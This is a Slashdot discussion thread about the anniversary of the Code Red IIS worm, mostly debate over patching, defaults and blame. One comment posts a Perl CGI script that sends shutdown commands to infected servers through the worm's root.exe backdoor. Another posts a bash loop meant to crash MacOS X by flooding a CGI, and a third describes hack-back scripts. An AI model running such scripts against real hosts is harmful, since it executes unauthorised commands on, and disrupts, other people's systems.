    Well it's really like the Lamer Exterminator, if you got it, directly or indirectly, you probably deserved it... :o)

    Xix.

    --
    "Everything is adjustable, provided you have the right tools"
  44. Re:I still have my fake default.ida by FueledByRamen · · Score: 2, Informative

    I just knocked together this perl script to send
    those items out, run it as a CGI script. Any
    comments / suggestions? WARNING: I'm still learning perl... this could be (is?) ugly!

    #!/usr/bin/perl
    # This is a CGI script. Properly linked from your
    # web server, it turns around and issues commands
    # to a code red-infected server that is trying
    # to kill your server. Make $YOURSERVER/default.ida run
    # this CGI script, and watch the other server stop its
    # IIS service and shut down windows.

    use LWP::Simple;
    my $incoming;
    my $request;

    print "HTTP/1.0 200 OK\n\nBeginning rooting of your code-red-infested box...\n";
    print "This could look weird on your logs if you're not infected and just poking around.\n\n";

    $request = sprintf("http://%s/scripts/root.exe?/c+iisreset+/s top",$ENV{REMOTE_ADDR});
    $incoming = get $request;
    print "\n", $request, "\n\n", $incoming, "\n\n";

    $request = sprintf("http://%s/scripts/root.exe?/c+rundll32.ex e+shell32.dll,SHExitWindowsEX+5" ,$ENV{REMOTE_ADDR});
    $incoming = get $request;
    print "\n", $request, "\n\n", $incoming, "\n\n";

    #Obligatory /. reference
    print "YHBT. Have a nice day.\n\n";

    --
    Every cloud has a silver lining (except for the mushroom shaped ones, which have a lining of Iridium & Strontium 90)
  45. Something strangely morbid about this birthday by guttentag · · Score: 2
    Hey, photographer! You wanna take a good picture? Here man, take this.

    This... is my bro.

    CRAZY EARL the sysadmin lifts a dustcover to reveal a toasted server

    This is his party. He's the guest of honor. Today... is his birthday.

    Email Mother calls out from down the hall: "Happy Birthday, Code Red."

    I will never forget this day. The day I came to IIS city and fought one million Code Red worms. I love the little Commie bastards, I really do. These enemy worms are as persistent as thick-headed CIOs.

    These are great days we're living, bros! We are jolly caffeinated giants walking the earth, with Bawlz. These worms we wasted here today, contain the finest code we will ever see. After we start working with real servers again we're gonna miss not having any worms around worth killing!

    (obligatory reference for those who've never seen Full Metal Jacket)

  46. 42 by kasperd · · Score: 2, Funny

    my web log shows an average of forty-two requests per day

    That is indeed interesting, a short time ago when discussing Windows security in a danish newsgroup, I counted the entries in my log. I also had an average of forty-two requests per day.

    This couldn't be a coincidence, could it?

    --

    Do you care about the security of your wireless mouse?
    1. Re:42 by MartinB · · Score: 2

      Well of course, 42 is the Answer.

      The question, alas, is more complex. And will need Slartibardfast's fjord designing skills. Or Arthur's brain.

      --

      The only thing you can accurately describe as "Scotch" is a sticky tape made by 3M. And it's

  47. Here's some help by Bastian · · Score: 2

    Try putting these handy tags around the deadline, and all will be revealed.

    <sarcasm> </sarcasm>

    Does that help?

  48. They are user's fault by Bastian · · Score: 2

    The user chooses the software =)

    Viva Unix! =)

  49. Re:Logs Clogged by Marqis · · Score: 2, Informative
    Create a .htaccess (in the root of your website)file containing:

    redirect /scripts http://www.stoptheviruscold.invalid
    redirect /c http://www.stoptheviruscold.invalid
    redirect /d http://www.stoptheviruscold.invalid
    redirect /_mem_bin http://stoptheviruscold.invalid
    redirect /_vti_bin http://stoptheviruscold.invalid
    redirect /msadc http://stoptheviruscold.invalid
    redirect /MSADC http://www.stoptheviruscold.invalid
    RedirectMatch (.*)\cmd.exe$ http://stoptheviruscold.invalid$1

  50. Evil plan (please don't implement) by tlambert · · Score: 5, Funny

    We jokingly discussed an Evil Plan where I worked when CodeRed first came out.

    One thing we discussed doing was getting a copy, disassembling it, and building a version that would install FreeBSD with Apache with Front Page Extensions and the Active Server Pages module over top of the Windows installation, with all of the web site content left more or less intact.

    We figured that it would be pretty cool if we could make it so that people would not notice that their server had been "competitively upgraded" until the next scheduled reboot/update.

    We thought that it would be even more likely to go a long time if we captured the console screen of the running server, and used it as the boot "splash screen" for the replacement OS...

    Of course, as I said, doing this would be Evil, so we only discussed the possibility.

    -- Terry

  51. Re:Logs Clogged by onki · · Score: 2, Informative

    Use mod_rewrite to direct those scans to a cgi/web script. I'm storing them in a database which is being read as soon as my firewall starts (laptop). Completely automated.

  52. Re:All of this kvetching about bad sysadmins, and by Kenneth · · Score: 2

    If you get shot by someone and suffer horrendous injuries, do you sue every bullet proof vest manufacturer, or gun manufacturer because they didn't base their business model around you?

    Believe it or not, a lot of people are trying just that, and frightenly having a fair amount of success.

    The problem in the case of Code Red, and the worm of the week wreaking havoc with Microsoft products, is one of false representation, and perhaps outright fraud.

    People keep getting told from Microsoft "Our servers are stable and secure, you don't need to don't need to worry." Then something happens, and Microsoft does nothing until someone has demonstrated in an amazingly public way that their stuff in indeed vunerable.

    Once that happens they issue a fix. The fix usually seems to be some method of messing up the specific method used, so minor changes to the worm make it work again.

    The Open Source world on the other hand is very quick to fix any bugs they know about and can that can be fixed. More than once some of the security groups were frustrated when Red Hat or some other Linux distro maker, after being informed of a problem, releasing not only the details but a fix long before they were ready.

    Microsoft has actively tried to keep anyone from finding out through any legal means about any security problems with their products. The Linux community works hard to find and fix problems.

    Microsoft products are a little like the Ford Pinto of the software world. The Pinto would blow up rather spectacularly if rear ended. Ford was sued and had to fix the problem.

    Had Ford voulantarily recalled the Pinto earlier (and the evidence suggested that they knew of the problem before the first Pinto was ever sold), there would have been no casue to sue them. However they tried to cover up the problem, and repeatedly denied the existence of any problem.

    Microsoft knows there are vast security holes in their products. They prefer to put them out and hope no one notices. When someone does notice, they deny there is a problem, and have pushed to get anyone who tries to find such problems arrested. They are, in effect, enganged in a cover up. This is what opens them up to being sued. There is rarely a good faith effort to fix any security hole before it becomes a problem.

    Contrast that with the Linux world. There are occasionaly penetrations, but there is always an effort to find and fix such problems long before such things happen.

    The other problem was that IIS and WPS are often installed and running without the person even knowing it. In fairness, most linux distros seem to install and set up Apache without permission too, but at least Apache has been pretty much immune to worms for the last few years. Should you hold everyone who installed win2k on a networked machine responsible because they failed to install security patches on a server they didn't even know they were running?

    Microsoft acts very irresponsibly with their software, and there should be some accountability. I wouldn't sue them just over Code Red, but take the worm of the week hitting IIS, and the worm of the week hitting Outhouse, and Microsoft's complete indifference to fixing either, and we get a pattern of indifference which is prosecutable.

    --
    There is a civil war coming in the United States. Remember which side has most of the guns
  53. It's not code red? by Mustang+Matt · · Score: 2

    Are you sure?

    Which virus do they have?

    I wouldn't worry about the FBI, etc.
    It's not like it's a unique infection that no one has ever seen before.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  54. Re:No mac web os9 or older servers EVER exploited by GC · · Score: 2

    shut up!!! That is a myth and you know it!


    #!/bin/bash
    #
    # CGI-McPanic: script to crash MacOS X with
    # concurrent calls to a CGI-Script
    #
    # before use, do:
    #
    # chmod a+x /Local/Library/WebServer/CGI-Executables/test-cgi
    #
    # then call
    #
    # bash ./CGI-McPanic
    #

    NUMPROC=32
    i=0

    while [ $i -le $NUMPROC ]
    do
    i=$[$i + 1]
    ab -t 3600 http://localhost/cgi-bin/test-cgi &
    done

  55. Haha by Cave+Dweller · · Score: 3, Funny

    I share a birthday with an IIS worm! Seriously!
    Do I get a cookie?

  56. Re:Interesting... by Zocalo · · Score: 4, Informative
    In this case I tend to partly side with Microsoft. OK, they put the bug there in the first place, but when you consider that:
    • Every coder makes programming errors (some more than others, true).
    • Microsoft released a *working* patch a few months before the exploits started.
    • A work around was also available.
    • A properly installed & configured server was *not* vulnerable.
    • A web server does not need to *establish* outbound HTTP connections through the firewall, only to accept and reply to them.
    You kind of get an idea where they are coming from.

    PS. That last point is the crux, and denying webservers the ability to establish outbound HTTP connections would have stopped Code Red type exploits dead. If your network is properly configured, even if you are exploited, then the exploit should have a much harder time propagating and thus making you look like a complete incompetent. The *real* problem is that a *huge* proportion of sysadmins don't seem to understand the most basic of security principles, and that's not Microsoft's problem at all.

    --
    UNIX? They're not even circumcised! Savages!
  57. Re:Power of slick advertising by actiondan · · Score: 2

    Linux is a safe haven.

    Just a side note, if anyone ever came up with a virus that was as devastating to apache as code red was to IIS, I think Linux would be doomed.

    What about the Apache vulnerability that was discoverd a couple of weeks ago? I would think there are still loads of people who haven't patched their servers (and even the patch does not give full protection. See the advisory).

    Microsoft are addressing the issue of applying patches to products such as IIS with features that remind system admisitrators about new patches and automate the process of applying them.

    I really think that open source systems such as Apache will need to have features like these if they are to compete strongly.

    If Code Red taught us one thing, it was that the application of patches is as important as the patches themselves (MS released a patch that prevented Code red infection months before the outbreak)

  58. Most boxes affected weren't company systems by Otis_INF · · Score: 2

    ... but testboxes or homeusers with an IIS installation on their win2k pro or win2k server OS they used. This is noticable by the fact that most attacks were and are originating from cable-internet connected boxes.

    Most IIS admins who are responsible for webservers who run company websites did patch IIS long before the worm started or better: did like MS told them to do: disable all extensions not used on the box, like htr and ida. (Oh, and removed the examples)

    Ok, some company-used webservers were exploited, but this number is not a majority by far.

    --
    Never underestimate the relief of true separation of Religion and State.
  59. If a hotfix breaks an app, kick the developer. by Otis_INF · · Score: 4, Interesting

    Hotfixes don't kill webapps. I develop webapplications (the n-tier stuff, VC++/VB/ASP/IIS/SQLServer etc) for over 5 years now and have applied a zillion or so hotfixes on IIS and NT / Win2k server to keep the systems up to date, but never ever have I encountered 1 single hotfix which killed a webapplication nor did I hear from collegues that hotfixes killed their webapplications. If the webapp is written solidly, by the guidelines MS has supplied, you can apply any hotfix, period.

    When your developers are not that educated however, perhaps they use dirty tricks which will break when a hotfix is applied (allthough I doubt it, hotfixes mostly overwrite existing files without updating CLS_ID's etc, because these stay the same) and the app will die after the hotfix is applied: one reason to kick them out the door for some real professionals.

    --
    Never underestimate the relief of true separation of Religion and State.
    1. Re:If a hotfix breaks an app, kick the developer. by SClitheroe · · Score: 3, Insightful

      You are assuming that all web apps are written using MS technologies...how about ColdFusion, Lotus Domino, etc? We have quite a mix of stuff, as our environment has evolved over the years...and there have definitely been hotfixes that have broken Domino.

    2. Re:If a hotfix breaks an app, kick the developer. by Otis_INF · · Score: 2

      How can a hotfix break a tool? There is just 1 reason why: because the tool ASSUMES undocumented behaviour which is gone with the hotfix (f.e. it patches something and the behaviour isn't there anymore). No hotfix will replace COM ID's with new ones or change interfaces, they just update dlls with new versions. I don't see how a good application can be broken by patching an OS part with a version that has the same interface and behaves as documented.

      (and no, undocumented crap is not needed for developing software)

      --
      Never underestimate the relief of true separation of Religion and State.
    3. Re:If a hotfix breaks an app, kick the developer. by radish · · Score: 2

      Or, reason 2, the hotfix itself contains a new bug. You know it _is_ possible, microsoft (and every other software house ever) have been known to release buggy code. Read the disclaimers on the hotfix, it basically says "apply this if you have to, otherwise wait for the SP which will be fully regression tested". Note, the hotfix is NOT fully regression tested.

      --

      ---- Den ene knappen er powerknapp, den andre er Bender voice knapp "Bite My Shiny Metal Ass"

    4. Re:If a hotfix breaks an app, kick the developer. by SClitheroe · · Score: 2

      Whatever...ask any Domino developer what happened when SP6 for NT4 was released..that's one of the major reasons we now have SP6a

    5. Re:If a hotfix breaks an app, kick the developer. by mborland · · Score: 2
      Hotfixes by nature are not fully regression tested. This means that there is a possibility for errors even if you follow guidelines.

      I agree, I have not had problems with the hotfixes...but several hotfixes have been re-released because of incompatibilities, etc.

      When your developers are not that educated however, perhaps they use dirty tricks which will break when a hotfix is applied

      Puh-lease! I agree that developers are prone to assuming bad things...but you just wait, eventually you, too, will be bitten by a bad hotfix, no matter how smart you are.

    6. Re:If a hotfix breaks an app, kick the developer. by e_n_d_o · · Score: 2

      but never ever have I encountered 1 single hotfix which killed a webapplication nor did I hear from collegues that hotfixes killed their webapplications.

      Does this count?...

      Microsoft broke their JDBC-ODBC bridge in a fix for IE. I don't know if this qualifiies in your eyes as a hotfix or not, as it was a minor (though, as usual, highly recommended) IE update. Applying the update resulted in our J++ based web application killing the IIS process (The JVM ran in-line with IIS). The problem was that the JDBC-ODBC bridge would cause the VM to crash (I'm pretty sure it was a native-code JDBC driver) when retrieving (or possibly it was setting...don't remember) "text" columns in a SQL table with more than 2k of data.

      I wrote a simple test case that caused the failure (about 20 lines of code) and called MS tech support. After making my way through their support ranks I finally found someone clue-enabled enough to be able to run my test-case, see the failure, and realize it was a bug in their product. This took a week. Then I got this email back from the support guy:

      "I'm closing this case "non-decrement" now. I'll try to pressure a
      resolution. I'll let you know when the fix arrives. Feel free to ping me in
      the mean time."

      The fix didn't arrive for six months. And this was back in the days before Sun and MS got in the big Java brawl.

  60. Mirror by Kjellander · · Score: 2, Informative
  61. Re:I still have my fake default.ida by DeadSea · · Score: 4, Insightful
    Notice that the parent post ends with "YHBT".

    That stands for "You have been trolled".

    The perl script is a troll, it won't work, I can't believe this got modded up.

  62. Re:Interesting... by bogado · · Score: 2
    I agree 100% with your opinion. But I would like to add that Microsoft, with their "user friendness", contribute to this situation. If their server have all but the html serving (and maybe a cgi dir) turned off by default, letting the one who need the extra features to turn them on this would never had happen.

    --
    []'s Victor Bogado da Silva Lins

    ^[:wq

  63. Re:How did the Cherry Mountain Dew get its name? by Alex_Ionescu · · Score: 2, Informative

    Actually, the worm got its virus from the drink.
    Late at night, the programmers were drinking away their cans, when they identified the virus. They called it Code Red.

  64. Re:Interesting... by Dilly+Bar · · Score: 2

    One week after the outbreak was supposed to be over, I tried setting up a Windows 2000 Server. IIS was enabled by default, and thinking the worse was over, didn't turn it off. I was infected before I could download antivirus software or the patch. This was on a dual T3. Explain to me how this is my fault.

  65. Happy Birthday to me.... by CodeRed · · Score: 3, Funny

    Recommended gifts from admirers:

    1) DIVX's of Hackers or The Net.
    2) Natalie Portman... Enough said.
    3) Port me to more platforms.

    and finally.... a 2nd chance.

    --

    --
    CodeRed, the lower user #. No relation to SirCam.
  66. 509 by Ender+Ryan · · Score: 3, Interesting
    My web server received 509 requests for default.ida last week, 7 days.

    You should have seen it last year, one day we were receiving so many requests for non-existant files that out server was crawling, because our not found page was generated by some scripts. I simply wrote a Perl handler to handle it(roughly 60 secs) and that took care of it.

    Quite humorous it was. And that we still get thousands of hits from infected machines is hilarious.

    Heh, Internet worms... fun stuff.

    --
    Sticking feathers up your butt does not make you a chicken - Tyler Durden
  67. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  68. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  69. Re:Interesting... by netringer · · Score: 3
    One week after the outbreak was supposed to be over, I tried setting up a Windows 2000 Server. IIS was enabled by default, and thinking the worse was over, didn't turn it off. I was infected before I could download antivirus software or the patch. This was on a dual T3. Explain to me how this is my fault.
    OK, I will.

    Did it occur to you that maybe you should connect the box to the Internet as the LAST STEP? - AFTER the server is configured and PATCHED?

    You can get the service pack on another system and write it to CD so you don't need an ethernet connection to make the system current with patches.

    Plug the ethernet cable into the server as the dead LAST step.
    --
    Ever dream you could fly? Get up from the Flight Sim. I Fly
  70. Re:Interesting... by ShavenYak · · Score: 3, Insightful

    Did it occur to you that maybe you should connect the box to the Internet as the LAST STEP? - AFTER the server is configured and PATCHED?

    Perhaps that should be obvious to an experienced sysadmin, but most installers of Windows 2000 won't have a clue about such precautions. The intelligent thing for Microsoft to have done is not had IIS turned on by default. This is especially obvious when you consider how many of the Code Red hits you get come from people who obviously don't even use the IIS that's running on their box.

    Since Microsoft is aiming their software at clueless users who can't be bothered to secure their machines, Microsoft needs to ensure that their software is secure out of the box.

    --

    Hey kids, there's only 5 days left 'til Yak Shaving Day!
  71. Re:Interesting... by netringer · · Score: 3, Insightful
    Perhaps that should be obvious to an experienced sysadmin, but most installers of Windows 2000 won't have a clue about such precautions. The intelligent thing for Microsoft to have done is not had IIS turned on by default. This is especially obvious when you consider how many of the Code Red hits you get come from people who obviously don't even use the IIS that's running on their box.
    Well, I don't think anybody has to defend NON-professional sysadmins. If you really believe that any Internet server should be so brain-dead simple that you can't hurt yourself you should get what you deserve - even if you managed to pass the MCSE exams.
    Since Microsoft is aiming their software at clueless users who can't be bothered to secure their machines, Microsoft needs to ensure that their software is secure out of the box.
    Far be it for anybody to defend Microsoft on slashdot but this is an impossible requirement that no other OS vendor delivers - Not other Unices - Not even Linux.

    Fifteen years ago we knew that Sun insisted on shipping SunOS with a "+" in /etc/hosts.equiv which would open your system to any other server on the network. We edited that and other config files before a Sun went on the LAN.

    In the real world you have a checklist of things that must be done and things that must be changed before the box can put into production especially on the the big bad Internet. In our company, where the NT operations MCSE staff are not exactly the brightest thinkers, we have a standard Windows 2000 build document that has a security checklist and says to only install IIS if the box is going to be a web server. There ARE checkboxes in the custom install where you can deselect the install of IIS and other unneeded programs.

    If you dare to draw a paycheck you SHOULD be a Professional. It's up to you to learn how a professional operates.
    --
    Ever dream you could fly? Get up from the Flight Sim. I Fly
  72. Re:Logs Clogged by BitchAss · · Score: 2

    A similar question. Is anyone getting hit with this:
    XX.XX.XX.XX - - [13/Jul/2002:19:47:41 -0400] "CONNECT 151.189.24.12:6669 HTTP/1.0" 200 5639 "-" "-"

    I get a couple of them every few days in my log files. Is this a worm or just some idiot?

    --
    Like sex? Read and write about it! Indecent Blogging
  73. The 1% Patch Statistic by Proudrooster · · Score: 4, Informative

    Believe it or not, out of all the people in in the world running MS Outlook, fewer than 1% have ever pulled down security patches, see The Great MS Patch Nobody Uses.

    Additionally, the Win2K/NT server guys are afraid to install security patches since they never are really how much of their server is going to break. Often times, Admins will patch the servers which touch the Internet but not the Internal servers for fear of breaking them. With Code Red, this was quite humorous because the outer servers were patched as soon as the Code Red patch was available, thinking this action would defend the realm against Code Red, but they forgot about the laptop users which brought Code Red in the back door via the local LAN.

    But not to worry folks, once we get Palladium hardware in all our servers, this will not happen again right? In fact we won't even have to patch anymore, since everything will be secure and, only secure applications will be allowed to run.

    Oh, wait, wouldn't IIS pass the palladium trusted application test?

    Why yes it would...... and Code Red would join the list of "Trusted Secure Applications".!
    Sorry, I have to smack Palladium everytime I get a chance.

  74. Re:I wouldn't worry about it. WRONG! by colmore · · Score: 2

    I know this. But a lot of government "security" is handled through microsoft products.

    And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.

    I was just trying to make a point in a somewhat quippy manner.

    --
    In Capitalist America, bank robs you!
  75. The last straw by SomeOtherGuy · · Score: 2

    From my memory I remember this is the straw that broke the camels back for many of the people and companies that I knew who had been running IIS in some form or another. We had always been a Unix shop -- but many of the 3rd party "server" products had been written using ISAPI -- and required IIS and or Windows to function...The companies that produced these products were flying high and raising the Microsoft sword of ignorance. This virus sent them all back into their holes. Some of them went back to the drawing board to port their products to a real OS and Web Server....The others are dead or close to death.

    --
    (+1 Funny) only if I laugh out loud.
  76. Re:I wouldn't worry about it. WRONG! by First+Person · · Score: 2

    And if we ever did have a mark of the beast... er, Homeland Security ID, you can bet MS products would be running a lot of the system.

    It might not be Microsoft. It might be Oracle. Why doesn't that make me feel any better?

    --
    Given one hour to live, the student replied: "I'd spend it with professor FP who can make an hour seem like a lifetime."
  77. Re:Interesting... by realdpk · · Score: 2

    "Fifteen years ago we knew that Sun insisted on shipping SunOS with a "+" in /etc/hosts.equiv which would open your system to any other server on the network. We edited that and other config files before a Sun went on the LAN."

    They don't ship this way now, though, right? Sounds like they've learned something. Perhaps Microsoft could also learn something from this.

    But they won't. The defaults will always be insecure, for sake of "features".

  78. Follow-Up on CodeRed/Nimda + counter-fight by valmont · · Score: 2
    A while ago i put-up a journal entry on very basics procedures to make your apache logs less clutered by codered and nimda queries.

    I have since then been saving each nimda hit in a separate log and recently compiled a list of *ALL* unique nimda queries made to my web server which I use with home-grown cgi/shell scripts to make a series of requests back to the attackers ip addresses as they hit me, which attempt to place warning text files in various places on their system and pop alert messages.

    So I also recently posted a follow-up article on nimda which points you to all the queries i have catalogged so far.

    Note: if you *really* want some of the shell scripts i use to attempt to warn the attackers just request so in comments to my journal, tho they really are nasty hacks. I just may write a java app triggered by a servlet or cgi one of these days.

  79. Limited Ecosystem by steelhive · · Score: 2, Interesting

    The biggest reason (IHMO) why Code Red spread so rampantly was not because:
    - Microsoft writes lousy code (they're not great, but I don't believe they suck more than other httpd authors)
    - Windows security is dreadful (Win95/98 is fairly bad, but I don't think NT is *that* horrific)
    - The large installed base (Apache has kind of a big base)
    - Microsoft has bad kharma

    I believe the real reason is the *homogeneity* of IIS and the Win32 platform. Virus and worm authors have a predictable environment for which to code. Biologists would refer to this as a monoculture. Monocultures are notoriously prone to being taken down -- witness the Irish potato famine.

    Apache runs on far too many disparate platforms for a single exploit to "catch fire".

    That's why I like an internet with many different OSes, machine architectures, http servers, etc. A diverse ecosystem is good for all! ;-)

    Apache

  80. Re:Configure Apache to add virus IP's to 'iptables by SuiteSisterMary · · Score: 2

    Why make it difficult? Make a script in your favourite language; shell, perl, whatever, and name it 'default.ida' or 'root.exe' and plant it properly. The script, when called by Apache as a CGI, will have the IP address as an env variable. Use that to update your filter of choice appropriately.

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  81. Re:Interesting... by ShavenYak · · Score: 2

    Far be it for anybody to defend Microsoft on slashdot but this is an impossible requirement that no other OS vendor delivers - Not other Unices - Not even Linux.

    Agreed, although as another poster mentioned the BSDs come close. Also, if you do a default install of the more recent Linux distributions they won't be running too many services. I can't remember if RedHat or Mandrake turn on Apache by default, as I've never done a default install of either.

    If you dare to draw a paycheck you SHOULD be a Professional. It's up to you to learn how a professional operates.

    Again, Joe Home User who gets his shiny new Windows machine and hooks it up to his cable modem out the house shouldn't have to be a professional. He doesn't know about servers and firewalls and ports (oh my). He expects it to be plug-n-play, so it seems that Microsoft has a responsiblity to make sure unwanted things don't start playing when the machine gets plugged (the Unix vendors have this same responsibility, to be sure).

    You also shouldn't expect Joe User to use the custom install and deselect IIS - you probably shouldn't expect him to know what IIS is. You can expect a sysadmin to know how to select IIS to be installed if he needs it. So the default obviously needs to be not installing IIS. Or Apache, for the Unices.

    --

    Hey kids, there's only 5 days left 'til Yak Shaving Day!
  82. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion